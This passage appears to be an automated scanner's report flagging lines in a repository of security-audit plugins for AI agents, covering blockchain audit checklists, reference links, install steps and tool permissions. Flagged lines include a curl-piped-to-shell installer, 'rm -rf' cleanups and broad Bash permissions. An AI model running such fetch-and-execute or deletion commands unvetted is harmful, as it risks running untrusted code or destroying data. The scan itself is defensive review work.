    **Other**: - [ ] No custom storage/cache implemented — [may fail to revert after failed transactions](https://github.com/iczc/billboard/tree/main/writeup#the-cache)
  • Network accessline 322
    - [ ] No custom storage/cache implemented — [may fail to revert after failed transactions](https://github.com/iczc/billboard/tree/main/writeup#the-cache)
  • Network accessline 323
    - [ ] [`errorsmod.Register`](https://pkg.go.dev/cosmossdk.io/errors) (from `cosmossdk.io/errors`) used for errors, not hand-rolled mechanisms
  • Network accessline 324
    - [ ] [All defined messages actually registered in a handler](https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/64)
  • Network accessline 325
    - [ ] [CometBFT config/genesis.json not overwritten without validation](https://github.com/nomic-io/nomic/issues/104); [genesis.json save is atomic](https://github.com/crypto-org-chain/chain-main/issues/398)
  • Network accessline 334
    - [ ] `SetOrderPreBlockers`: `upgrade` module must be first. `auth` must also be in PreBlockers (required for unordered tx cleanup via `RemoveExpiredUnorderedNonces`) - [ ] `SetOrderBeginBlockers` / `SetOrderEndBlockers`: `x/epochs` is in B
  • Network accessline 335
    - [ ] `SetOrderBeginBlockers` / `SetOrderEndBlockers`: `x/epochs` is in BeginBlockers and fires epoch hooks — modules depending on epoch events must come after `epochs`. Note: `capability` module has been removed from cosmos-sdk (moved to i
  • Network accessline 336
    - [ ] `SetOrderInitGenesis`: [`genutils` after `staking`](https://github.com/cosmos/cosmos-sdk/blob/cb6fea997cb416b6c9d3d1b47986bc464bd4bd49/simapp/app.go#L387-L388) (pool initialization); [`genutils` after `auth`](https://github.com/cosmos
  • Network accessline 338
    - [ ] [Keepers passed to other keepers are initialized](https://github.com/osmosis-labs/osmosis/issues/665#issuecomment-995925080). Suspicious pattern: keeper initialized → uninitialized copy passed to another → first one assigned to `app.T
  • Network accessline 435
    **References**: - building-secure-contracts/not-so-smart-contracts/cosmos/rounding_errors - [Osmosis $5M exploit](https://www.certik.com/resources/blog/1o2gR0mG6wP83aHp5jzoor-osmosis-incident-analysis) (Finding 9)
  • Network accessline 436
    - building-secure-contracts/not-so-smart-contracts/cosmos/rounding_errors - [Osmosis $5M exploit](https://www.certik.com/resources/blog/1o2gR0mG6wP83aHp5jzoor-osmosis-incident-analysis) (Finding 9) - [Barberry / Vest in Peace](https://blog.
  • Network accessline 437
    - [Osmosis $5M exploit](https://www.certik.com/resources/blog/1o2gR0mG6wP83aHp5jzoor-osmosis-incident-analysis) (Finding 9)
  • Network accessline 438
    - [Barberry / Vest in Peace](https://blog.fordefi.com/vest-in-peace-freezing-cosmos-account-funds-through-invalid-vesting-periods) (Finding 19)
  • Network accessline 446
    **What to Check**: - [ ] [`Coins`/`DecCoins` always sorted and non-negative](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/types/dec_coin.go#L228-L235) — SDK relies on this for `Add`, `IsAnyGTE`, and gen
  • Network accessline 447
    - [ ] [`Coins`/`DecCoins` always sorted and non-negative](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/types/dec_coin.go#L228-L235) — SDK relies on this for `Add`, `IsAnyGTE`, and genesis state loading
  • Network accessline 448
    - [ ] [Unicode in `Coins` denominations handled correctly](https://github.com/cosmos/cosmos-sdk/issues/7046). [Differences between `Coin` vs `Coins` types understood](https://github.com/cosmos/cosmos-sdk/issues/7046)
  • Network accessline 449
    - [ ] Since v0.53, `Coins.AmountOf()` no longer validates the denom and returns zero for missing denoms (no panic). `AmountOfNoDenomValidation` is deprecated (just calls `AmountOf`). Code that relied on `AmountOf` panicking on invalid denom
  • Network accessline 450
    - [ ] `Add`, `Sub`, `Quo` on `LegacyDec` still panic — use error-returning variants or validate inputs first. Using pointer to `LegacyDec` (`*math.LegacyDec`) is error-prone: Dec consists of a single `big.Int` pointer, so pointer-to-pointer
  • Network accessline 451
    - [ ] `cosmossdk.io/collections` framework: deterministic key encoding (custom key codecs produce consistent bytes), `IndexedMap` secondary indexes in sync, no `Remove`/`Set` during `Walk` iteration ([fix: #24460](https://github.com/cosmos/
  • Network accessline 452
    - [ ] [Encoding enforced as early as possible](https://github.com/axelarnetwork/axelar-core/issues/1148) — in msg server handler or protobuf definition (`string` in protobuf enforces UTF-8). Careful with [invalid UTF-8 string length](https:
  • Network accessline 453
    - [ ] [Invalid encoding in input does not halt chain](https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/4)
  • Network accessline 455
    - [ ] `MsgUpdateParams` handlers validate parameter bounds — invalid params (rate > 100%, negative values, zero denominators) can be silently set via governance and cause issues in `BeginBlock`/`EndBlock` - [ ] Default values are safe:   - 
  • Network accessline 456
    - [ ] Default values are safe:   - [Configurable parameters are set explicitly or default values are reviewed](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/x/genutil/client/cli/migrate.go#L77-L83)   - I
  • Network accessline 457
    - [Configurable parameters are set explicitly or default values are reviewed](https://github.com/cosmos/cosmos-sdk/blob/5f840be76aea654821cf4bb1a3de94757e09c0cc/x/genutil/client/cli/migrate.go#L77-L83)
  • Network accessline 458
    - Initial (genesis) system parameters are validated. Safety checks exist for parameters that get updated from "null" only after the first block ([Umee issue](https://github.com/umee-network/umee/commit/5372343a4f187864cc37f0c0d798dc7df3de16
  • Network accessline 459
    - [`getter` methods do not return valid values on errors — they should panic or return nil](https://github.com/umee-network/umee/issues/861)
  • Network accessline 460
    - [ ] Amino (`LegacyAmino`) only for backward compatibility (legacy JSON signing, CLI proposals). New modules use protobuf exclusively - [ ] If Ethereum addresses used, NOT using `HexToAddress` ([does not verify format, ignores errors](http
  • Network accessline 461
    - [ ] If Ethereum addresses used, NOT using `HexToAddress` ([does not verify format, ignores errors](https://pkg.go.dev/github.com/ethereum/go-ethereum/common#HexToAddress))
  • Network accessline 462
    - [ ] [`AnteHandler`s enforce non-zero fee](https://docs.cosmos.network/master/basics/gas-fees.html#introduction-to-gas-and-fees) to prevent spam. See [Cosmos discussion](https://github.com/cosmos/cosmos-sdk/discussions/8224)
  • Network accessline 463
    - [ ] Parsing of empty `Coin(s)` considers any amount of extra whitespace — [relevant source](https://github.com/cosmos/cosmos-sdk/blob/v0.33.2/types/coin.go#L527-L534). For example, checking `msg.Funds == "" || msg.Funds == "0"` is incompl
  • Network accessline 491
    **What to Check**: - [ ] Enough event logs to debug on-chain transactions - [ ] Events NOT generated for failed transactions — [Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/)
  • Network accessline 492
    - [ ] Enough event logs to debug on-chain transactions - [ ] Events NOT generated for failed transactions — [Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) - [ ] `CacheContext` u
  • Network accessline 493
    - [ ] Events NOT generated for failed transactions — [Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/)
  • Network accessline 499
    **References**: - [Jump Crypto — Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) (Finding 4)
  • Network accessline 500
    - [Jump Crypto — Huckleberry: IBC Event Hallucinations](https://jumpcrypto.com/writing/huckleberry-ibc-event-hallucinations/) (Finding 4)
  • Network accessline 508
    - **`x/crisis`** (Invariant type) — deprecated, will be removed. Use simulations (`simsx` framework in v0.53+) and property-based tests instead - **`x/nft`** — deprecated ([#24575](https://github.com/cosmos/cosmos-sdk/pull/24575)), moving t
  • Network accessline 509
    - **`x/nft`** — deprecated ([#24575](https://github.com/cosmos/cosmos-sdk/pull/24575)), moving to [cosmos-legacy](https://github.com/cosmos/cosmos-legacy)
  • Network accessline 510
    - **`x/group`** — deprecated ([#24571](https://github.com/cosmos/cosmos-sdk/pull/24571)), moving to cosmos-legacy. EndBlocker had chain-halt bugs ([GHSA-47ww-ff84-4jrg](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-47ww-ff84
  • Network accessline 511
    - **`x/params`** — deprecated, modules use direct keeper param storage via `collections` - **`ValidateBasic()`** — deprecated and facultative (via `HasValidateBasic` interface). Validation belongs in msg server handlers - **ed25519 tx signi
  • Network accessline 513
    - **ed25519 tx signing** — added in v0.53.0 ([#24030](https://github.com/cosmos/cosmos-sdk/pull/24030)). Chains should explicitly decide which key types to permit. Unlike secp256k1, ed25519 is not compatible with Ledger hardware wallets wit

plugins/building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md

  • Network accessline 109
    **What to Check**: - [ ] [`sort.Sort` is not stable](https://github.com/golang/go/issues/13884) — `sort.Stable` must be used when elements with equal keys must maintain insertion order. Same-order but different items may be sorted different
  • Network accessline 110
    - [ ] [`sort.Sort` is not stable](https://github.com/golang/go/issues/13884) — `sort.Stable` must be used when elements with equal keys must maintain insertion order. Same-order but different items may be sorted differently between Go versi
  • Network accessline 111
    - [ ] Memory addresses — [even in non-committed storage, can cause indirect consensus failures](https://github.com/cosmos/cosmos-sdk/issues/11726#issuecomment-1108427164):
  • Network accessline 112
    - [Conversions to strings do not output addresses](https://gitlab.com/thorchain/thornode/-/merge_requests/2640) (structs not used directly in `fmt.Printf`)
  • Network accessline 113
    - [`%p` format string not used](https://facundo.dev/posts/2022/04/23/debug-stories-1-darwin-arm64-cosmos-sdk-builds-are-not-compatible-with-other-archs/)
  • Network accessline 114
    - [Pointers not compared](https://github.com/OffchainLabs/nitro/blob/affaf25ceb9ff53ed27e1072221a659ed63ca61d/linter/pointercheck/pointer.go)
  • Network accessline 115
    - [ ] `filepath.Ext` is platform-dependent - [ ] Struct padding [(unavoidable with cgo)](https://github.com/golang/go/wiki/cgo#struct-alignment-issues) - [ ] [Platform-dependent build tags](https://pkg.go.dev/go/build#hdr-Build_Constraints)
  • Network accessline 116
    - [ ] Struct padding [(unavoidable with cgo)](https://github.com/golang/go/wiki/cgo#struct-alignment-issues)
  • Network accessline 117
    - [ ] [Platform-dependent build tags](https://pkg.go.dev/go/build#hdr-Build_Constraints) (`//go:build`, `// +build`)
  • Network accessline 118
    - [ ] [`math/big.Random` non-deterministic even with const seed](https://github.com/golang/go/issues/42701)
  • Network accessline 119
    - [ ] [Adding elements to map while iterating](https://go.dev/ref/spec#For_range)
  • Network accessline 120
    - [ ] No leaks from GC or nondeterministic runtime internals ([Agoric example](https://github.com/Agoric/agoric-sdk/issues/5000))
  • Network accessline 121
    - [ ] Parallel/concurrent tx execution (BlockSTM-style): modules must not have shared mutable state outside KV store - [ ] Concurrency: goroutines, [`select` non-determinism](https://medium.com/@pedram.esmaeeli/a-pattern-for-overcoming-non-
  • Network accessline 122
    - [ ] Concurrency: goroutines, [`select` non-determinism](https://medium.com/@pedram.esmaeeli/a-pattern-for-overcoming-non-determinism-of-golang-select-statement-139dbe93db98), [synchronization with sleep](https://github.com/ligurio/semgrep
  • Network accessline 123
    - [ ] Floating point: read [here](https://gafferongames.com/post/floating_point_determinism/), [here](https://randomascii.wordpress.com/2013/07/16/floating-point-determinism/), [here](https://github.com/golang/go/issues/36536)
  • Network accessline 594
    - [ ] `SetUpContext` is the first decorator in `ChainAnteDecorators` - [ ] `SetPubKeyDecorator` before all signature verification decorators (`ValidateSigCountDecorator`, `SigVerificationDecorator`) - [ ] Manual message routing is NOT perfo
  • Network accessline 595
    - [ ] `SetPubKeyDecorator` before all signature verification decorators (`ValidateSigCountDecorator`, `SigVerificationDecorator`) - [ ] Manual message routing is NOT performed — it [bypasses AnteHandlers](https://github.com/axelarnetwork/ax
  • Network accessline 596
    - [ ] Manual message routing is NOT performed — it [bypasses AnteHandlers](https://github.com/axelarnetwork/axelar-core/issues/1145)
  • Network accessline 597
    - [ ] Custom AnteHandlers handle [nested/embedded messages](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/) inside `x/authz MsgExec` or `x/group` proposal execution. SDK enforces `MaxUnpackAnyRecursionDepth = 10` ([GHSA-8wcc-m6j2
  • Network accessline 598
    - [ ] `x/authz` grant creation reviewed for [privilege escalation (GHSA-4j93-fm92-rp4m)](https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-4j93-fm92-rp4m) — verify grants cannot circumvent blocked address restrictions; also chec
  • Network accessline 647
    **References**: [Jump Crypto — Bypassing Ethermint Ante Handlers](https://jumpcrypto.com/bypassing-ethermint-ante-handlers/)

plugins/building-secure-contracts/skills/guidelines-advisor/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/secure-workflow-guide/SKILL.md

  • Network accessline 149
    **Trail of Bits Resources**: - Office Hours: Every Tuesday ([schedule](https://meetings.hubspot.com/trailofbits/office-hours))
  • Network accessline 150
    - Office Hours: Every Tuesday ([schedule](https://meetings.hubspot.com/trailofbits/office-hours))

plugins/building-secure-contracts/skills/secure-workflow-guide/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/solana-vulnerability-scanner/SKILL.md

  • Network accessline 372
    - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/solana/` - **Trail of Bits Solana Lints**: https://github.com/trailofbits/solana-lints
  • Network accessline 373
    - **Trail of Bits Solana Lints**: https://github.com/trailofbits/solana-lints
  • Network accessline 374
    - **Anchor Documentation**: https://www.anchor-lang.com/
  • Network accessline 375
    - **Solana Program Library**: https://github.com/solana-labs/solana-program-library
  • Network accessline 376
    - **Solana Cookbook**: https://solanacookbook.com/

plugins/building-secure-contracts/skills/solana-vulnerability-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/SKILL.md

  • Network accessline 276
    - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/substrate/` - **Substrate Documentation**: https://docs.substrate.io/
  • Network accessline 277
    - **Substrate Documentation**: https://docs.substrate.io/
  • Network accessline 278
    - **FRAME Documentation**: https://paritytech.github.io/substrate/master/frame_support/
  • Network accessline 279
    - **test-fuzz**: https://github.com/trailofbits/test-fuzz
  • Network accessline 280
    - **Substrate StackExchange**: https://substrate.stackexchange.com/
  • Dangerous shell operationline 309
    - [ ] Sudo pallet removed before production

plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/substrate-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md

  • Dangerous shell operationline 692
    - [ ] Sudo privileges removed before production launch
  • Dangerous shell operationline 774
    ensure_root(origin)?              // Root/sudo only

plugins/building-secure-contracts/skills/token-integration-analyzer/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/building-secure-contracts/skills/ton-vulnerability-scanner/SKILL.md

  • Network accessline 379
    - **Building Secure Contracts**: `building-secure-contracts/not-so-smart-contracts/ton/` - **TON Documentation**: https://docs.ton.org/
  • Network accessline 380
    - **TON Documentation**: https://docs.ton.org/
  • Network accessline 381
    - **FunC Documentation**: https://docs.ton.org/develop/func/overview
  • Network accessline 382
    - **TON Blueprint**: https://github.com/ton-org/blueprint
  • Network accessline 383
    - **Jetton Standard**: https://github.com/ton-blockchain/TEPs/blob/master/text/0074-jettons-standard.md

plugins/building-secure-contracts/skills/ton-vulnerability-scanner/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/burpsuite-project-parser/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Will Vandevanter",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/burpsuite-project-parser/skills/burpsuite-project-parser/SKILL.md

  • Broad permissionsline 1
    Bash Read
  • Network accessline 22
    **Required:** 1. **Burp Suite Professional** - Must be installed ([portswigger.net](https://portswigger.net/burp/pro))
  • Network accessline 23
    1. **Burp Suite Professional** - Must be installed ([portswigger.net](https://portswigger.net/burp/pro))
  • Network accessline 26
    **Install the extension:** 1. Download from [github.com/BuffaloWill/burpsuite-project-file-parser](https://github.com/BuffaloWill/burpsuite-project-file-parser)
  • Network accessline 27
    1. Download from [github.com/BuffaloWill/burpsuite-project-file-parser](https://github.com/BuffaloWill/burpsuite-project-file-parser)

plugins/burpsuite-project-parser/skills/burpsuite-project-parser/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/burpsuite-project-parser/skills/burpsuite-project-parser/scripts/burp-search.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 210
    echo "This is what a missing burpsuite-project-file-parser extension looks like: Burp starts" >&2     echo "normally and drops flags it does not recognise." >&2     echo "Install it from https://github.com/BuffaloWill/burpsuite-project-file
  • Network accessline 211
    echo "normally and drops flags it does not recognise." >&2     echo "Install it from https://github.com/BuffaloWill/burpsuite-project-file-parser and add the" >&2     echo "JAR under Burp Suite -> Extensions." >&2
  • Network accessline 212
    echo "Install it from https://github.com/BuffaloWill/burpsuite-project-file-parser and add the" >&2

plugins/c-review/scripts/assemble_findings.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/c-review/skills/c-review/SKILL.md

  • Broad permissionsline 1
    Workflow AskUserQuestion Bash Read

plugins/c-review/workflows/c-review.js

  • Executable scriptline 1
    Executable file

plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting/SKILL.md

  • Dangerous shell operationline 145
    rm -rf /tmp/claude-mcp-browser-bridge-$USER/
  • Dangerous shell operationline 146
    rm -f "$(getconf DARWIN_USER_TEMP_DIR)/claude-mcp-browser-bridge-$USER"
  • Network accessline 251
    *Original skill by [@jeffzwang](https://github.com/jeffzwang) from [@ExaAILabs](https://github.com/ExaAILabs). Enhanced and updated for current versions of Claude Desktop and Claude Code.*

plugins/chrome-mcp-troubleshooting/skills/chrome-mcp-troubleshooting/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/code-improver/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Paweł Płatek",     "url": "https://github.com/GrosQuildu"
  • Network accessline 6
    "name": "Paweł Płatek",     "url": "https://github.com/GrosQuildu"   }
  • Network accessline 7
    "url": "https://github.com/GrosQuildu"

plugins/code-improver/skills/code-improver/SKILL.md

  • Broad permissionsline 1
    Bash Glob Read TaskOutput TaskStop Workflow

plugins/code-improver/skills/pr-improver/SKILL.md

  • Broad permissionsline 1
    Bash Glob Read TaskOutput TaskStop Workflow

plugins/code-improver/skills/skill-improver/SKILL.md

  • Broad permissionsline 1
    Bash Glob Read TaskOutput TaskStop Workflow

plugins/code-improver/tests/fixtures/pr-review-toolkit/skills/review-pr/SKILL.md

  • Broad permissionsline 1
    Read Grep Glob Bash

plugins/code-improver/workflows/improve.js

  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file
  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 594
    notes.push(`A git repository was INITIALIZED at ${GIT_ROOT} to give the loop a baseline. Tell the user; remove with \`rm -rf ${GIT_ROOT}/.git\` if unwanted.`)
  • Dangerous shell operationline 594
    notes.push(`A git repository was INITIALIZED at ${GIT_ROOT} to give the loop a baseline. Tell the user; remove with \`rm -rf ${GIT_ROOT}/.git\` if unwanted.`)
  • Dangerous shell operationline 594
    notes.push(`A git repository was INITIALIZED at ${GIT_ROOT} to give the loop a baseline. Tell the user; remove with \`rm -rf ${GIT_ROOT}/.git\` if unwanted.`)

plugins/constant-time-analysis/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Scott Arciszewski",     "url": "https://github.com/trailofbits"
  • Network accessline 6
    "name": "Scott Arciszewski",     "url": "https://github.com/trailofbits"   }
  • Network accessline 7
    "url": "https://github.com/trailofbits"

plugins/constant-time-analysis/skills/constant-time-analysis/SKILL.md

  • Broad permissionsline 1
    Bash Read Grep Glob
  • Network accessline 183
    - [Cryptocoding Guidelines](https://github.com/veorq/cryptocoding) — defensive coding for crypto
  • Network accessline 184
    - [KyberSlash](https://kyberslash.cr.yp.to/) — division timing in post-quantum crypto
  • Network accessline 185
    - [BearSSL Constant-Time](https://www.bearssl.org/constanttime.html) — practical constant-time techniques

plugins/constant-time-analysis/skills/constant-time-analysis/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/constant-time-analysis/skills/constant-time-analysis/references/javascript.md

  • Dangerous shell operationline 47
    | `eval()` | Unpredictable timing | Avoid entirely |

plugins/constant-time-analysis/skills/constant-time-analysis/references/kotlin.md

  • Dangerous shell operationline 209
    sudo snap install kotlin --classic
  • Network accessline 250
    - [Kotlin/JVM Interoperability](https://kotlinlang.org/docs/java-interop.html)
  • Network accessline 251
    - [Android Keystore System](https://developer.android.com/training/articles/keystore)
  • Network accessline 252
    - [Bouncy Castle for Kotlin](https://www.bouncycastle.org/java.html) - Constant-time crypto primitives

plugins/constant-time-analysis/skills/constant-time-analysis/references/php.md

  • Network accessline 15
    # extension and stock macOS grep exits 2 on it, which would silently leave # VLD_VERSION empty and install a package named `vld-` with no version. VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld |
  • Network accessline 16
    # VLD_VERSION empty and install a package named `vld-` with no version. VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld |   grep -oE 'vld-[0-9]+(\.[0-9]+)*\.tgz' | head -1 | sed -E 's/^vld-//; s/\.tgz$//')
  • Network accessline 17
    VLD_VERSION=$(curl -fsS https://pecl.php.net/package/vld |
  • Network accessline 20
    if [ -z "$VLD_VERSION" ]; then   echo "Could not read the latest VLD version from PECL." >&2   echo "Check https://pecl.php.net/package/vld and set VLD_VERSION by hand." >&2
  • Network accessline 21
    echo "Could not read the latest VLD version from PECL." >&2   echo "Check https://pecl.php.net/package/vld and set VLD_VERSION by hand." >&2 else
  • Network accessline 22
    echo "Check https://pecl.php.net/package/vld and set VLD_VERSION by hand." >&2
  • Network accessline 29
    # Or if above fails, install with explicit channel:   pecl install https://pecl.php.net/get/vld-${VLD_VERSION}.tgz
  • Network accessline 30
    pecl install https://pecl.php.net/get/vld-${VLD_VERSION}.tgz
  • Network accessline 37
    # Clone and build from GitHub git clone https://github.com/derickr/vld.git
  • Network accessline 38
    git clone https://github.com/derickr/vld.git
  • Dangerous shell operationline 43
    sudo make install
  • Dangerous shell operationline 46
    echo "extension=vld.so" | sudo tee -a $(php --ini | grep "Loaded Configuration" | cut -d: -f2 | tr -d ' ')
  • Dangerous shell operationline 64
    sudo cp modules/vld.so "$PHP_EXT_DIR/"
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]

plugins/constant-time-analysis/skills/constant-time-analysis/references/python.md

  • Dangerous shell operationline 63
    | `eval()` | Unpredictable timing | Avoid entirely |
  • Dangerous shell operationline 64
    | `exec()` | Unpredictable timing | Avoid entirely |

plugins/constant-time-analysis/skills/constant-time-analysis/references/swift.md

  • Access to secretsline 175
    [Credential-related source omitted]
  • Network accessline 240
    Download from [swift.org](https://swift.org/download/) for standalone installation.
  • Network accessline 285
    - [Apple CryptoKit Documentation](https://developer.apple.com/documentation/cryptokit)
  • Network accessline 286
    - [Apple Security Framework](https://developer.apple.com/documentation/security)
  • Network accessline 287
    - [Swift.org Security](https://swift.org/blog/swift-5-release/)
  • Network accessline 288
    - [OWASP iOS Security Guide](https://owasp.org/www-project-mobile-security-testing-guide/)

plugins/constant-time-analysis/skills/constant-time-analysis/references/vm-compiled.md

  • Dangerous shell operationline 236
    sudo apt install openjdk-21-jdk
  • Dangerous shell operationline 276
    sudo apt install dotnet-sdk-8.0
  • Dangerous shell operationline 346
    sudo apt install mono-complete
  • Network accessline 369
    - [Java Cryptography Architecture Guide](https://docs.oracle.com/en/java/javase/17/security/java-cryptography-architecture-jca-reference-guide.html)
  • Network accessline 370
    - [.NET Cryptography Model](https://docs.microsoft.com/en-us/dotnet/standard/security/cryptography-model)
  • Network accessline 371
    - [Bouncy Castle Java](https://www.bouncycastle.org/java.html) - Constant-time crypto primitives
  • Network accessline 372
    - [NSec](https://nsec.rocks/) - Modern cryptographic library for .NET

plugins/culture-index/skills/interpreting-culture-index/SKILL.md

  • Broad permissionsline 1
    Bash Read Grep Glob Write
  • Dangerous shell operationline 130
    **If uv is not installed:** Stop and instruct user to install it (`brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`). Do NOT fall back to vision.
  • Network accessline 130
    **If uv is not installed:** Stop and instruct user to install it (`brew install uv` or `curl -LsSf https://astral.sh/uv/install.sh | sh`). Do NOT fall back to vision.

plugins/culture-index/skills/interpreting-culture-index/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/culture-index/skills/interpreting-culture-index/scripts/check_deps.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/__init__.py

  • Executable scriptline 1
    Executable file

plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/constants.py

  • Executable scriptline 1
    Executable file

plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/extract.py

  • Executable scriptline 1
    Executable file

plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/models.py

  • Executable scriptline 1
    Executable file

plugins/culture-index/skills/interpreting-culture-index/scripts/culture_index/opencv_extractor.py

  • Executable scriptline 1
    Executable file

plugins/culture-index/skills/interpreting-culture-index/scripts/extract_pdf.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/culture-index/skills/interpreting-culture-index/scripts/uv.lock

  • Network accessline 12
    source = { virtual = "." } dependencies = [     { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" },
  • Network accessline 13
    dependencies = [     { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" },     { name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple"
  • Network accessline 14
    { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" },
  • Network accessline 15
    { name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" },
  • Network accessline 30
    name = "numpy" version = "2.4.6" source = { registry = "https://pypi.org/simple" }
  • Network accessline 31
    version = "2.4.6" source = { registry = "https://pypi.org/simple" } resolution-markers = [
  • Network accessline 32
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 34
    "python_full_version < '3.12'", ] sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33
  • Network accessline 35
    ] sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 2073
  • Network accessline 36
